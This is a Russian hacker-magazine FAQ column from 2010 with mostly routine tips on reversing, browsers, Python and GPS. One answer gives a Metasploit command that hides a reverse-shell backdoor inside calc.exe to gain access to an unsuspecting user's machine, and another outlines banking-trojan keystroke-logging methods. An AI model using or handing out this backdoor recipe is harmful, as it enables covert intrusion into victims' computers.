Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 138, ИЮНЬ 2010 г.

FAQ UNITED

Q: Во время реверсинга часто нужно подсмотреть, что означает тот или иной параметр, передаваемый в API-функцию. За объяснением обычно обращаюсь в MSDN, но это долго и неудобно. Можно ли как-то научить IDA, чтобы та добавляла расширенные комментарии к входным параметрам API-функций?

А: Действительно, запомнить входные параметры, а вместе с тем еще и возвращаемые значения многочисленных API – задача, мягко говоря, непосильная. Чтобы упростить себе жизнь, парни из zynamics.com написали ida-msdn-скрипт (взять можно отсюда: github.com/zynamics/msdn-plugin-ida), который добавляет исчерпывающую информацию из MSDN для каждого вызова API-функции – это как раз то, что нам нужно. Правда, сначала придется сконвертировать твою локально установленную библиотеку MSDN в XML-файл. Сделать это можно с помощью тулзы msdn-crawler (github.com/zynamics/msdn-crawler), которая парсит библиотеку MSDN и генерирует XML- файл, содержащий информацию об API-функциях Windows (описание, имена аргументов вместе с описанием, возвращаемые значения). Всего на данный момент msdn-crawler находит 33984 (!) функции. Сформировав файл msdn.xml, остается только добавить из него информацию в IDB-файл, который понимает сама IDA. Для этого используем IDAPython и выполняем с его помощью скрипт ida_importer.py.

Q: Довольно часто использую Tor для сохранения анонимности. Но, как известно, существуют такие утилиты как sslstrip, позволяющие перехватить мои данные на последнем узле, откуда они передаются в Сеть в открытом виде. Можно ли как-то себя обезопасить от подобного типа атак?

A: Обезопасить себя на все 100% не получится, но кое-какие меры все же предпринять можно. В пакет утилиты TorTunnel (www.thoughtcrime.org/software/tortunnel) входит программа под названием TorScanner. Она особым образом опрашивает все выходные ноды, полученные от сервера директорий, после чего выводит небольшой отчет, на каких узлах был переход с HTTPS на HTTP: torscanner host port / > dump.txt. Далее, если внести подозорительные узлы в качестве значения параметра ExcludeNodes, то Tor исключит их при построении цепочек нодов. Идея хорошая, но недостаток очевиден: атакующий может появиться внезапно, перехватить трафик и исчезнуть. Поэтому этот способ и не дает 100% гарантии.

Q: Хочу проверить SWF-файлы на наличие вредоносного кода. Подскажи утилиту, которая лучше всего подходит для декомпиляции Flash-файлов.

A: В Сети есть множество бесплатных утилит для декомпиляции Flash-файлов, например знаменитые Flare и OWASP's SWFIntruder. К сожалению, возможности бесплатных утилит не всегда идут в ногу со временем, поэтому очень многие из них не поддерживают те нововведения, которые появились в 9 и 10 Flash’e, ActionScript 3 и фреймворке Adobe Flex. Самой же продвинутой утилитой на данный момент является HP SWFScan (www.hp.com/go/swfscan). Это первая и единственная бесплатная программа, умеющая работать с ActionScript 2.0 и ActionScript 3.0. Программа умеет не просто декомпилировать байкод обратно в исходный код – она создана специально для поиска уязвимостей во Flash-приложениях. Всего реализовано обнаружение более 60 разных уязвимостей, включая раскрытие персональных данных, XSS, междоменное повышение привилегий (cross-domain privilege escalation) и др. HP SWFScan примечательна еще и тем, что подсвечивает найденные в коде уязвимости, предоставляет рекомендации и исчерпывающую информацию по уязвимости, а также может экспортировать исходный код для дальнейшего анализа в сторонних приложения.

Q: Можно ли как-то перенести закладки из Firefox в Opera или Chrome?

A: Есть такая замечательная прога как Transmute (www.gettransmute.com), которую можно смело можно назвать стандартом де-факто для синхронизации закладок между различными браузерами. Фишка в том, что прога поддерживает работу не только с бразуерами (Firefox, Google Chrome, Opera, Internet Explorer и другими), но еще и с онлайн-сервисами для хранения закладок. Правда, для синхронизации с Google Bookmarks, Delicious и другими хранилищами закладок придется приобрести платную версию.

Q: Есть много-много кода на JavaScript с комментариями на китайском языке. Задача – удалить оттуда все комменты. Написал несколько регулярок, но некоторые вещи программа все равно пропускает. А у вас есть решение?

A: В большинстве случаев будет достаточно простого регеспа code.replace(/\/\*.+?\*\/|\/\/.*(?=[\n\r])/g, '').
Но, увы, он не сможет обработать следующие ситуации:

  1. var str = " /* not a real comment */ ";
  2. var regex = /\/*.*/;

Чтобы удалить абсолютно все комментарии, для таких ситуаций придется написать несложные обработчики.

Q: При запуске последней версии Backtrack на широкоформатном ноутбуке устанавливается неправильное разрешение. Как это пофиксить?

A: На моем старом Asus помогло добавление пары строчек в конфиг /etc/X11/xinit/xinitrc:

xrandr –output HDMI-2 –offxrandr –output VGA –off
xrandr –output HDMI-2 –off
xrandr –output VGA –off

После этого изображение стало выглядеть как надо.

Q: Как банковские трояны определяют, что пользователь перешел на нужный им сайт (а нужен им, как несложно догадаться, интерфейс онлайн-банкинга)?

A: Если говорить просто, то трояну нужно отслеживать, что делает веб-браузер пользователя и на какие страницы он переходит. Для определения перехода на нужный сайт используются довольно разнообразные приемы:

  • перехват API-функция (в первую очередь, WinInet API);
  • интерфейс BHO (Browser Helper Object) – DLL-модуль, разработанный как плагин для Internet Explorer для обеспечения дополнительной функциональности;
  • мониторинг названия окон (с помощью банальной API-функции FindWindow);
  • работа с COM (Component Object Model) / OLE (Object Linking and Embedding) интерфейсами;
  • разработка вспомогательных плагинов к браузерам (Firefox/Chrome);
  • интерфейс LSP (Layered Service Provider), позволяющий пользователю подключать собственные DLL-библиотеки для обработки вызовов Winsock API.

Самый банальный вариант: троян отслеживает определенную комбинацию в названиях окон (например, «Super Bank») и таким образом понимает, что пользователь перешел на сайт банка, а после этого тупо записывает в лог все клики и нажатия на клавиатуре.

Q: Можно ли отменить случайно отправленное письмо?

A: В некоторых случаях – да! Уверен, что если ты и не пользовался Gmail, то, по меньшей мере, обращал внимание на кнопку Undo, которая доступна в течение некоторого времени после отправки письма. Время, в течение которого письмо находится во временном буфере и физически не отправляется, варьируется от 5 до 20 секунд и регулируется в настройках. Пользователи Outlook, работающие в связке с Exchange-сервером также могут отозвать письмо, воспользовавшись соответствующим пунктом в меню «Другие действия».

Q: Хочу поэкспериментировать с RFID. В смысле, не собирать считыватель или эмулятор меток с нуля, а именно интегрировать его в рамках какой-нибудь информационной системы. Например, повесить RFID-метку на ошейник кошки и отслеживать ее перемещения по квартире, записывая check-in в лог-файл. По идеи, ничего сложного в этом нет, если есть метки и RFID-считыватели. Подскажи, где их достать как можно дешевле?

A: Хороший вектор ты выбрал для экспериментов, молодец! Тем более сейчас как никогда ранее все необходимые инструменты стали доступными. Покупать RFID-оборудование в России – невыгодно. Наши разработки – дорогие, а те, что везут с Китая, продаются втридорога. Поэтому самый верный способ – заказать все самому где-нибудь за рубежом. Если посерфить такие сайты, как www.dealextreme.com, где продается миллион товаров китайской промышленности, можно найти NoName считыватели RFID по цене от $40. Как правило, в комплекте идет одна-две метки для экспериментов. Увы, отвечать за качество какого-то конкретного товара за такую стоимость никто не может. А вот что действительно могу посоветовать по своему опыту, так это RFID-модуль от известной компании Paralax (www.parallax.com), который подключается к компьютеру через серийный/USB порт. Товар можно купить прямо на сайте производителя (ищи по ключевым словам RFID Card Reader) по цене от $39,99 за штуку. Метки придется покупать отдельно: одна RFID-карточка стоит $0,99.

Q: Украли ноутбук. Дал милиции MAC-адрес, но учитывая, что в городе много провайдеров, шанс найти ноут по этим данным небольшой. Хочу теперь поставить на все свои ноутбуки какую-нибудь программу, которая постоянно будет стучаться на сервер и сливать туда текущую инфу (скажем, IP-адрес). В такой ситуации поймать подонков будет куда проще. Но как это лучше всего сделать?

A: Сам понимаешь, что написать программу, которая, скажем, при запуске будет отправлять текущий IP-адрес, ничего не стоит. Но этого мало! В нетбуках сейчас есть GPS – значит, можно отправлять и координаты. Пускай такого модуля нет, но по параметрам точки доступа Wi-Fi (MAC и ESSID) зачастую также можно определить месторасположение (по крайней мере, Google.Карты такое позиционирование могут выполнять очень здорово). Если в ноутбуке есть камера, то почему бы не сделать снимок с камеры и не отправить его на сервер – возможно, повезет увидеть негодяя в лицо. В любом случае никто не мешает отправить скриншот рабочего стола – тут тоже может быть важная информация для поиска бука. Не нужно даже ничего кодить вручную, потому что все эти действия поддерживаются программой Prey (preyproject.com). Версия утилиты уже есть для всех десктопных платформ: Windows, Mac и Linux, а совсем недавно появилась версия и для Android. С определенным интервалом Prey просыпается в системе и стучит на определенный URL, чтобы проверить, не появилась ли там команда на сбор данных. Если режим поиска активирован, то она сама будет пытаться подключиться к ближайшему Wi-Fi (даже если злоумышленник этого делать не будет). А изображение с камеры в некоторых случаях будет сниматься незаметно, то есть без визуального оповещения (обычно рядом с камерой есть небольшой светодиод).

Q: Можно ли к Visual Studio прикрутить подсветку синтаксиса Python?

A: Можно сделать даже больше. С недавнего времени в рамках проектах IronPython (это реализация Python для платформы .Net) были опубликованы специальные инструменты для работы с Python-кодом в Visual Studio 2010. В результате ты получаешь многие бонусы, которые предоставляет IDE от Microsoft, для разработки кода на Python, в том числе отладчик (хотя и не такой мощный как для C#) и знаменитую IntelliSense – систему подсказок и автодополнения команд.

Q: Подскажи самый простой способ открыть шелл на удаленной Windows-системе ушастого пользователя.

A: Не буду тут приводить примеры многочисленных джоинеров, позволяющих присоединить к невинному exe’шнику зловредный код. Можно обойтись и без джоинера, и, собственно, без самого бэкдора, заменив обоих Metaspoit'ом. В одной из последних версий появилась замечательная команда msfencode, которая присоединяет к произвольному бинарнику одну из боевых нагрузок Metasploit, в том числе backconnect:

./msfpayload windows/meterpreter/reverse_tcp LHOST=<твой ip> R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5

Если получившийся exe-файл запустить на удаленной системе, то с нее тотчас же поступит обратное соединение.

Q: Хочу автоматизировать нудную работу, связанную с заполнением данных в Excel-файл (*.XLS). Данные необходимо обновлять из скрипта, написанного на Python. Как?

A: Есть два варианта. Использовать готовые модули, например, Pyxlreader (pyxlreader.sourceforge.net), или же воспользоваться технологией COM, с помощью которой получать данные с Excel напрямую (работать с файлом будет сам офисный пакет). Второй вариант более сложен и к тому же добавляет обязательную зависимость скрипта от установленного в системе Excel.

Q: Что нужно знать, чтобы реверсить приложения для iPhone?

A: Все приложения для iPhone имеют свой формат исполняемых файлов – Mach-O. При этом само приложение распространяется в виде IPA-файла – zip-архива, в котором упакован сам бинарник, а также файлы-ресурсы. Для того, чтобы поднять на телефоне условия для отладки, необходим девайс, на котором установлен JailBrake (то есть должен быть рутовый доступ к файловой системе). После этого у тебя будет доступ к отладчикам gdb/iphonedbg. Приложения из AppStore закриптованы: дешифрование осуществляется загрузчиком Mach-O. Защита не слишком сложная, куда больше проблем доставляет тот факт, что основным языком разработки приложений является Objective-C. Комплируемый объектно-ориентированный язык программирования от корпорации Apple построен на основе языка Си и парадигм Smalltalk. Последнее означает, что всем объектам посылаются сообщения. В результате большая часть вызовов (>80%) программы выгодят как objc_msgSend(). Переварить их без дополнительного помощника довольно сложно, однако граф вызовов можно серьезно упростить и привести в божеский вид с помощью скрипта zynamics Objective-C helper (github.com/zynamics/objc-helper-plugin-ida), подключаемого к IDA Pro в виде плагина.

Q: Во многие телефоны сейчас встроен модуль A-GPS (Assisted GPS). Система подгружает из инета данные, необходимые для быстрого поиска спутника. Получается, что для запуска GPS всегда нужен инет?

A: На самом деле нет, Assisted GPS – это лишь система, ускоряющая так называемый «холодный старт» GPS, то есть процесс первоначального поиска спутника. Часть необходимых данных, в том числе альманах с текущим расположением спутников, подгружается в телефон и используется для первичного определения координат. Если возможности подгрузить данные нет, то GPS-модуль работает в обычном режиме: как если бы A-GPS в системе не было. Впрочем, отдельные приемники с A-GPS без оператора сотовой связи работать все же не могут, но это исключение, а не правило.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001